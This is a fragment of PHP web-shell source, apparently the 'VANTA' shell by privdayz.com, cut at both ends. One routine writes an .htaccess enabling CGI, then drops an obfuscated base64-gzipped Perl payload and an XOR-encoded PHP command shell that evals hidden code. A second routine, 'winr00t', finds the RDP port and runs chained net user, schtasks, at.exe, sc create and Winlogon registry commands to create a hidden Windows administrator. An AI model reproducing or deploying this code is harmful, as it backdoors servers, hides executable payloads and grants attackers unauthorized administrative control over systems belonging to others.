$dir = rtrim(dirname($_SERVER['SCRIPT_NAME']),"/");
$paths = [];
if(isset($_POST['deploy_cgi_suite'])) {
$cgidir = 'v4nt4_cgi';
if (!is_dir($cgidir)) @mkdir($cgidir,0755,true);
$htaccess = <<<HTA
#by www.privdayz.com
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .d4yz
AddHandler cgi-script .d4yz
HTA;
file_put_contents($cgidir.'/.htaccess', $htaccess);
$plf = $cgidir.'/VANTA.d4yz';
$pl_payload = '#!/usr/bin/perl -I/usr/local/bandmin
use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';
$asc = prvdz_ascdump($pl_payload);
$f = fopen($plf,"w"); fwrite($f,html_entity_decode($asc)); fclose($f); chmod($plf,0755);
$paths[] = ["CGI Perl Special", $plf];
$phf = $cgidir.'/'.prvdz_rndstr(9).'.php';
$cf1=prvdz_rndstr(5); $cf2=prvdz_rndstr(6); $cf3=prvdz_rndstr(7);
$php_payload = <<<'PHP'
$ve017499b24="366f3971556a482a3966526e26334d65666565626432336536666339316336392454704c237a313940425e6137642158";$v6789ef794d='';for($i=0;$i<strlen($ve017499b24);$i+=2){$v6789ef794d.=chr(hexdec($ve017499b24[$i].$ve017499b24[$i+1]));}$v6789ef794d=strrev($v6789ef794d);function fc726c15f02($be0647970224518ac6c7abd9ee879da39f7){return hex2bin($be0647970224518ac6c7abd9ee879da39f7);}function ffe80814332($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$e3d26b8f3fb594246Len=strlen($e3d26b8f3fb594246);$a297955cd64439654e8031e1e='';for($i=0;$i<strlen($be0647970224518ac6c7abd9ee879da39f7);$i++){$char=ord($be0647970224518ac6c7abd9ee879da39f7[$i]);$f93700fcddba236015a=ord($e3d26b8f3fb594246[$i%$e3d26b8f3fb594246Len]);$a297955cd64439654e8031e1e.=chr($char^$f93700fcddba236015a);}return $a297955cd64439654e8031e1e;}function f0fe28bdc4c($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$eb7f6b8164569b7c36e1=fc726c15f02($be0647970224518ac6c7abd9ee879da39f7);return ffe80814332($eb7f6b8164569b7c36e1,$e3d26b8f3fb594246);}$vfa90f6f087="641e145f1153486050575a0b682f07616b60266362413a0757016e555250391e507c6f175c673a081a7d3664430a334e6d15380652691e71080426127c45085c0c023f0008533a0754046e1c5651473b45700e1b4e703a411e7f362d450c33076a15461e412562285c501e463e5876780806506d0856516a540604381a52513a1d7b067a5f675065527f5e09440c33076a15384f56671e380e01265b7a45085c0a573f490e573a4e53066e1c555d395753796f13590e1e0f12141262456517003c7d1c0102023a735b6d4e1310416017654e5509651b5007394b05563e545355397c0713322a510d763059312d085d03041056033d26767665044f7f34436c06100d430e076e6c0a0d475f085c590d0304290d1a1a3b12554f76447a555a025278431d47002d31604a59494f205028044e41141f49110f4001524b1e4c060a0b5962474f1a3e0307163b1e2c1d5c515437451d4c033f212b5e43155622146e075f50050a5a0c0a591709110157565c555076554900264b5f4b25033908030259364e1747003d273d5b440e57231e784d57461645420107550e54400b170b015c462b57430d3705024927063a03034c536d125d045465202f4b551f517641245c19450c5d500746150006015d51505e160429574f00355c015a304a644549170d354016500830787749495a1377123b565d53111c4b02025f10400853121d1816172848440f310d5e58271f3b15034c503e4753515665212f555e08196f1561170005560a490202520c5d555e5356151e457c0b5616690456582c0f275c4b0e523154170d506e3238025c1b512b193a094d59130b0854164e5e515d1c4f160d070122441c5e72544952685b6701414f153d14570e526b7070025e0c463e16384b4e0c02444d0c1b571e505d080d175f45077a02455f311b79472d0e3c10110257200c135e052a2a7a0f014a5334592f464c42175e574f0f58154646481217001d1224575206685f0e5c3f17284d161c42214d01095d2d213250410e1d2a053a474d5f0c5f1907540401040a0707545454502e56155d7a14155e611139144d4f53744e591543722c7d4d1f194b2d02174b5d53224511534f0d035c404c0758555d007141080237085e5e2051305a124659731c374313372c271757084c21333c454b750c555c4b1418065b5316210a010324391b43470c0810113a0f21044b0116375c693d173f3060580c21127c44781508004f0008554a0754011e55535049535d61071142665115137146644109430769114803577273710b1d4b12785c65140c1a5200014f5706551f0b534e545757497c01144266501513714664400843076818390c173f30605b0c21177b5c65140c1a5201004f5f01490202574e545557497c021342665164113e0b27515a526d69115c1b506f736c0801490f7d41650800034f00085b4a03556e091203174502581607104263570b06795b655d085f05052c6e5114302134505e140339582408481a111d4a4a1d40044112105f154b050a2350471a7a17155864197c4a4f0e44785210455c79657b5f5e080b3a112604500b530a505f121809565c03160d5e0f4e661a5d1d261412171b1e27185708183e530b5a223623327a5e1e4664040f4d641f1e3c3311034210415c441111171b684755530031125045264a235941464d2a441042133062224d5e1b0b345929293350165f5a170f590b13515d5655555e077e0b470c3304011b714221584203532c01010a437c79265643524f2904744a0406585f0517485a005d55100a5e0b4d4e64560d537a440908631e7b12510e441b4e0052202a6a2e101f0e4c1f04264d57514b000f4a4f18165f5b07074d48544c7641431a2714570a2d17587b1109433642105e0e3062230d054a167d4331425c52070101515707071b1b1f140417461d25411b003711197205261d054d1f643d501152122a6a6902491251621f2441571e44617630321149461a054e07490549291a0a4f624f025220187b025c1b643d501152122a0a2558551f516457174b5742065f4d4e324f1556154845041516092450471a3b095705304722064e42503753091a142c2e25575215472914730d024e0b4317100358011b15020b09005b4266450e023d05585e21053b5f511d533e084d4a48766b49343b1c562213204d565843555b57515056050501045007045d7c0a0e0b7b1d554f3c4a3b4c5c4145284d0d43497c606917431f5529022741111f4d5b560a081e47111b48105801545729041e0d375708187d0930420a475874032f15486530254d44084d6c136d1009065b530a5b075404510a555b4d174f184039401b3c054d432704751e571c433a09111e1a3227341954475662136f565c4216435743031813525e1107580104517a55155865035f1f2a086d400047537657055b143b6b6c1801071f630337565046170f054c0e5304570c58000a011f5b715b145021125c4b241e3d511740123b4c0017032732214a425a5f6c072353174611584f07074f1f1d510b0f594a0e57730f191e3a16190a6c356551044f5f2b520143497a1d077c652101104160171b6b4a11064342692276663f40395452566f6e065472411e11680c201f5a1b5f374f4454003c75770e5743132d426647080f4b1566524f161e13163b50455846426a0806083d1419026c356651044f0663014068527e7e604a45084f291e7c0066074a0a1947390545180f44504c451d45696c144e7c5b194920187d195c17523d424c133e6f1964660227036250707b086d476e0a434d16546e1b4d59451846172847531c3c461d757a51750c1909433642105e0e3062240b031e1474133115080456525c50551e416c064842413a534c6d48064a0d541917684d724a194b696e0159170e2c26681d6e4f787c2d7d1f19500c43194b426956130f44525e45423a7e131a4e21124b462d047d55665b1f6301406852756969194a5a071342740a041600594b4b0944011b163b563e413956101a06307242661c6151750c191d532c541659417a1d7202110703682f63040416441602430f50451b163b524c451d45696c1e4e6f465d187a0e62495a0a0769135154046d71685a5018147b47321d095751035a525f1e416c024d4e45473a547c00044769461d757f4a68514a1b442a44121f45017a6902110703291c2741194d43156654460b45116e1c545c395751796f115d0e570f1f145b6047651700697d5502540273740c6d02117c2c2c165d6a520508415d16181357070a0a4544397a077a16645065527e0c09400f5d6a2017006b556e1e380f552612784508150f023f490f5b3a0750046e1c5451391e56296f12590e57091d145b6544655e046c7d50003d26707065004f1410416112654e5402651b5103390206563e1d5302397c0617322a510d763059312d415d01041052053d26747565004c1710416211654e5403651b5053390702385350523a5478057a166555651b7e5f09090f5d6a6d11384f566a1e380f09265b7a49085c0e053f04083f5105390705385553391e04114b150d0e1e0f13145b6047651701687d550154023a770d6d4e131008624165075700651b5052394b04513e52503a517a6f175a613a0d1d14126741655e006e7d1c0150023a765a6d4b15792c2c120c6a1b025d3f5201394b00533e1d56033935527a59663a081e7a362d460c33076e15384f566a1e380f57265b7a15085c0a533f490f543a00556f4a5701395051393505143263500c76305d612d415802041051003d26742565494946100835784105006d0c543a0751056e5557523957537f6f5e58363a41192d366245655e00687d550153023a760c6d021029526f045f430d524d0a09584550034c463a5c4f453613540b26134b44680338015500523d0943104d7e23324b50037c2111240c5f430d524d0a0958451b163b53554c461e6d41431a2714570a2b0227591d300768085f171c7262646608530a775029045f430d524d0a09584550004c463a5c4a45696c175f7b46420a6c3564431952167f065f1707313060111525106c4d74140216476e0a435a1616474008070b4d423a741a1d4e76390a016343750a194b69691344195c7e21284b1915512858707b006d476e0a3e4f163b13163b53544c5d453013540b26134b44684e0a400b5416250102420f3d3629565f5a407f58707b001f434a1911034210415c440004160353796c420b31095d4f604e0a48105416250102420f3d3629565f5a407858707b001f434a1947390756130f4445425e46032241430f310e19023b1e272e4a1f5a31554c133e676b6058425a071341650d194d4315665255164b0e12463e1d53553935051e3263500b767d5a7751174f592a454c133e6f7369191f5a011008661d1b164d111b3f53004708121942170012103f5d061d27044a5e3a42712e085c1a781148174c6f6b7b194c5a45391e375050590d115a564e123a0a1b4419451703113841484e38095044604d725d191c422a7e17470d3736681d6e430a654b745919123c000d435b16044140051b4d06574d2c41540f2b4e081b7d4675400b5e1a781055024d7e73710f1d5a127c41780408065a18104f4655541b531610041c4e547c060a4e63560d06685b6540154f0768194817506e7a6c19084f0f6c41641515165203094f460755021e445b5c4c4f496d501446703a411c7e362d475c33076c15384f576e606c1907530f6c13650c58441150404b5707571f125d5549455754781f065f6353150a795b635d195e066c0d4406506a6e6008004d0a655c7447081e02434b021f1e5402004842545457496d02175c7e46081a79467540085f1f710d44545376601c0804497f7d4561780803546d0850506a540702385353573a547b027a5f64561b06685e7c5d190c077040164500276a7108035603754978040807531d19525700491303545a49455f506113175e634a191b7a5a7951085f0774015d0e48776e605a0052423e02355d110f541d195257034913035557494557557c1f065f6352150a795b63581043163b104c56132c233911004a1260506515011a43080e4f4607550b1b4d4b5e450010235052073d08195a3a5b23414147120710511e4125626466035a1e6c57731f19123c000f435b1625435d14070b4d423a7c060640724465527a5a09470b33016e7d1c05570274711b1d5a01100863161b1f58115005461e416c03524b451e4612255a4a0b724e184c2d0533591d30076e084d171a7e661f0b11541e6c16264158524b156652501a450102505a4c5e46186d4345023d155c026c35644710541625011652152b302e19152511775029045f430d524d0a09584543405614551d4e4112021347721d190e1758754c194811630140685069627d195008512d097c15190b5d11581114571c1b10381a52553a5478027a166556651b7c5f775d194d6a6917531548726272190c44032d022645401e416d0855566a540603381a52553a1d7b0604427244651b7e5d77581054167c7e550f4163620049431540131f2441571e476e0856461845116e1c5055395057110410322a540f767e5b775d194b696916481745017379100a5a4a2a507c4d4a6911544a0c134406561a403d545d4f4c6d48064a0d541904754a26054b0a57357e03521501212f57451f4d38037c0066075a6a083e4f0d455551080d16004e4112021f35633b1011684e0a4319410b78521045043f2f1f5e540e7c2f1f3a505c581742114739075c6800394b5e450006215c550b7a42661b7131672c10541628530b543e3d2e2f4a54520713416c0d02161e114b061243175d12403d575e46186d55530031125045264a25030b0c0620094068506b6b60421113456c58325157551758560d39531d5a4110114d473a547b037a166455651b7d5c09090e5b6a2017076b506d751c41074f7f7d4764784100566d085755144c1a121f42413a54556d0e064c0e530f76305833531941162d4f0d46083a6a6265494d101008621c1b1f431f19413a03536f4a5356395451551102105a705d196a38093b055530532044071f4302777765494c111008621d65075607651b5450394b05573e1d535e476113471c200740026a362d435d334e6e12461b417c396466004f5e10086614654e505442473904554e6e5052391d5557110410322a540f763059645310460d7848021749382b2c5c6e1f5b2503205711123c03094a4f161e13163b5054455b450d554f0237395e4f3c35361e571b533655171f45017070100a5a56221c3d4a521e476e0b534f0d4541571017170b464112011755721b1957681830054c1d587806430c4123626466034803715035564b571a19105846500a415705010d454e411202124e3315190e175866581914167c7e56053a03627d19570f4d2f043d4b57164b156652531f454641014a413a545664135d4e3b0019026903262e5a0e5a3440065b0476661f0b02530a6c0b74565c421643574300570940575f42184514003946540072265a4b24060a044a0a44074711590276661f0b025603682f6511100d434c02434269570169394258450010235052073d0819026c356444104f432b444c133e6c7169194a5a512904215657162352580f0a69104057163d031008066551471d37500d752c0f361e5d0a1e3a401752576a1d25575215472958707b0b054a181543426954061b5f42185e4641120114350f46040a2e1f3b124d065936014c133e6f77691944094664540b160a1f434a1911034210415c442206040a091246550b20395f5f26097d1b5606587006431b412d363266420a4f25047c0066045018104f46123a02074d5945185d45696c145c093b1917680c201f5a1b5f374f441f4501737510110f502958707b0b054a1142434269570712594242425d452b5c540b3305510a60192103661c463448101f4501707310111b506c540b160c1f434a1947390451131c5942473957517e6f175b623a411d7a3660411b4f18784e1653497a1d720c185a0d6c5208110814431f19413a03531109441f4541395779131b4e21135b593c187d55665d027401541b41737369021108463805264a19760647580f4e14390706385351533a1d7e57044e7c461d757a5e755f194d6a6f12384f566c1e380f04265b7b44085c0e033f000f513a4e53566e505239545655114b145a0e1e0f1c141267496517046c7d550352023a765d6d0215782c6115654e50531b4a5d161808121942413a5457166e065372004c442b1e3c1e574f1e7c7e5502487e39604b540e563e1e74645c40025d1147390750131c4440395255476408061369461d757a580e2c1952163e540a5415372d2e19195e7c7d457d04421611544d16145845735317110017124d696c175b72481908141266131b460d785c5f1745017072626c5a1e6c16214a5a420a5e57434e123a02074d421e45423a7f05065372085c5d68383017550a552c480b59272b2c234d58154d641326415842066e5f160855115a5d0a4a42424a456f6f5e59603a411c7d362d460d33076e14384f566c1e710c0726177c2c6215654e50531b4a4f0d45176d565545584641120110436c015c5e060b381411460d78480217497a1d720e185a586c0231504c440d117900075a096c471707173a001023500e4a0d540e06684e0a400c460d785c4445042a373257115d047750291f19123c030b383b16581354110c06110f0a23130e4a0d570c03681175035c1b432a4f4447136f347041195e7c7d457d1f194b58111d3c54043e6e12594203100806395a4900724e1d75795f7c51424f443d5511450f7e32320b474a5b64540b150c1f5811445846123a01003f3f45584603385d451a3b09570a604e0a400c4616230140685366627d196e2565053c117b660d431566515f165813540d0e003a0100396c45013c125c443c197d55665d0e711a445e077e6a334d430a4c3f58707b0b0f4f111b3f5101394b0101404c4547587013400f3e155c0368117555665c06781c4444143c31344b195e7c7e4978044a42114156104e123a010b4842473951521104104c7b46120a7a436e51444f53345201171a7e661f0a015a1e6c57731f194b435e5b3c15420441464c4b5e4526003b524a4676390a1a61517555665e04781c4458030125254d6e194f29113a0c100d43435c1713440b13163b53575e46187613023160546277685775174c01552c480b594176661f08045303375026414d43115f1913140406034a4c463a54534c76135b55724266187a310851044f502d4f074308312c60111525127959745f19123c0309435b16476f4a5607395051476d1d061b3c0f48432c42772d4158050459520f3d6f75701b1841032a193841664616456600095811565c10114d4139577d1f064c0e520a763058642d0c586a6915566b506b731c41071f7f7947085c0e053f000c533a4e0448163b5350183a1d2c110f5572055147270e7d55665d067401500e527779601d6e48126c4d744442123c03091e46045b1503045945100809245d4d4676390b1a615175035c1b432a4f44133e6c737b194c4103682f6715190b43504b11074f4d55470a01110c090b6d1b02316154100a334a27144d1a4436014068526c7960441d5a45391e375050590d1111473905571a121f42170012103f5d060c33155c1c7c3531145a00523d090656123b7474665414402314310c1d695003104a5d16181f1202170b06120c225d064676390a18614a2e511d30076a015917467979601d6e49106c4d74150a0d43575611461e416c01445f45555d45696c154e6e464a5e3a06301f114b696b134d0c417a1d73121a53033750707b0804431f0443055e171b5d16064d4139567f1a0630724266197b436e51444f443d5511450f7e661f08034103315c74424c580045500c08164d176d57504c451d45696c155a725b190d6f517517561d1670053b044163627002115e7c7f5068044a42115d5c0d4e123a00004d594541395666180f4e29461d757b5e755f044f14045951543d6f75701b1154032815374c5c4e4b5e4b074e123a00003f463a563b4c6408061372145c5e3d183b511d30056c1a444a4d7e243557520e4a231e740c1d69500310431d1617564611100b450f083d5f490a374e1b7630583053154f572a53054e3e33233011570f4d2f043d4b57164b156652561f45481216071110140b6d117a5f6655651b7d5a09400f5d6a20135c154170622f4b5552071341640d19184313655657145e134f48421611143a3e434a07264e1d757b587c5810541625085f1745017175190c5a046b4b7442564406505a0b461e416c0056420416464112001047721d194c271830105a071670053b04507e2333191525107b59745f19123c0201435b16416c01534a413a514c76130231615f1917682a712e0a591e7c7e570f486562295f11520713436d041f1043454b0a0b1e416c015d4b45445b586d140147721d190e17596051044f1207125d0c413c3025585a5a117750290444161e115005461e44176d57574c451d45696c155b725b1908145b6642655e036e7d1c010702767065004f141008631165075505651b5106394b05513e1d52523979037a166400651b7e5809090b5f6a2017566b506b761c41071c7f7d4467780803506d4155536a540706381a5001445e6d4e060b310e560a201e381d4a1f533b48055b023623324a195e7c7f457d1f195300595643446a1d0051381a57033a547b037a5f6454651b7c5f09460f334e6b42380256023a760b6d4b167b2c2c120d6a5206083f1e05006f05503e50523a5478037a5f645265527e0e09090f0c6a201201155a7e26295c0a5a5e6c4f6a";$ve5c970b653=f0fe28bdc4c($vfa90f6f087,$v6789ef794d);if($ve5c970b653!==false){eval("".$ve5c970b653);}else{echo"RSS Error.";}
PHP;
$f = fopen($phf,"w"); fwrite($f,$php_payload); fclose($f); chmod($phf,0755);
$paths[] = ["Php c0mmand sh3ll VANTA", $phf];
$fullbase = $domain . ($dir ? $dir : '');
echo '<div class="pzcard-alert"><i class="fas fa-biohazard"></i> CGI deployed! All chmod 755.
<ul class="pzcard-shells-list">';
foreach($paths as $sh) {
$rel = $sh[1];
$url = $fullbase . '/' . $rel;
$link = $url . '';
echo '<li><b style="color:#e53935">'.htmlspecialchars($sh[0]).': <code>'.htmlspecialchars($rel).'</code>
<a href="'.$link.'" target="_blank">Open</a>
<span>(chmod 755)</span>
</li>';
}
echo '</ul></div>';
}

</div>
</div>

elseif (isset($_GET['winr00t'])):
<div class="vanta-cmd-page" style="max-width:900px;margin:44px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:10px;">
<div class="vanta-cmd-ico"><i class="fas fa-user-shield"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.15em;">ultra admin creator byp4ss (Windows/2025) - by privdayz.com</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:25px;">

<div style="display:flex;gap:9px;align-items:center;flex-wrap:wrap;">


<select name="mode" class="vanta-cmd-cmdinput" style="width:110px;">
<option value="auto">ultra byp4ss</option>
</select>
<button class="vanta-cmd-btn" type="submit" style="min-width:90px;"><i class="fas fa-user-plus"></i> Create</button>
</div>


function detect_rdp_port() {
$reg = v4nt4C('reg query "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /v PortNumber 2>&1');
if (preg_match('/PortNumber\s+REG_DWORD\s+0x([0-9a-f]+)/i', $reg, $m)) {
return hexdec($m[1]);
}
$netstat = v4nt4C('netstat -an | find ":3389"');
if (strpos($netstat, '3389') !== false) {
return 3389;
}
return 'Unknown';
}
$rdp_port = detect_rdp_port();
echo "<div style=\"color:#e53935;font-size:1.08em;padding:5px 0 8px 0;\">RDP Port: <span style='color:#1976d2;font-family:monospace;'>" . htmlspecialchars($rdp_port) . "</span></div>";


<label class="vanta-cmd-outputlabel" style="margin-top:18px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="winr00t-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:1500px;overflow:auto;">


function wout($msg) { echo htmlspecialchars($msg)."\n"; @ob_flush(); flush(); }

function prvd_exec_with_timeout($cmd, $timeout = 10) {
$ps = "powershell -Command \"\$p = Start-Process -FilePath 'cmd.exe' -ArgumentList '/c $cmd' -NoNewWindow -PassThru; \$p | Wait-Process -Timeout $timeout; if(-not \$p.HasExited){\$p.Kill()}\"";
$start = microtime(true);
$out = v4nt4C($ps.' 2>&1');
if (trim($out)) return $out;
$fallback = "timeout /T $timeout /NOBREAK & $cmd";
$out2 = v4nt4C($fallback.' 2>&1');
if (trim($out2)) return $out2;
return v4nt4C($cmd.' 2>&1');
}
if (!isset($_SESSION['v4nt4_winr00t_success'])) $_SESSION['v4nt4_winr00t_success'] = false;
if (!isset($_SESSION['v4nt4_winr00t_user'])) $_SESSION['v4nt4_winr00t_user'] = '';
if (!isset($_SESSION['v4nt4_winr00t_pass'])) $_SESSION['v4nt4_winr00t_pass'] = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['user'],$_POST['pass'])) {
$u = preg_replace('/[^a-zA-Z0-9_\-]/','',$_POST['user']);
$p = $_POST['pass'];
$mode = $_POST['mode'] ?? 'auto';
$success = false;
$methods = [];

$methods[] = [
"[*] net user (classic)",
"net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
];

$methods[] = [
"[*] PowerShell (background)",
"powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
];

$methods[] = [
"[*] schtasks",
"schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
];

$methods[] = [
"[*] at.exe",
"at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
];

$methods[] = [
"[*] sc service hack",
"sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
];

$methods[] = [
"[*] Registry AutoAdminLogon",
"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
];

$methods[] = [
"[*] Fallback CMD",
"cmd /c net user $u $p /add & net localgroup Administrators $u /add"
];

$methods[] = [
"[*] PowerShell Script Chain",
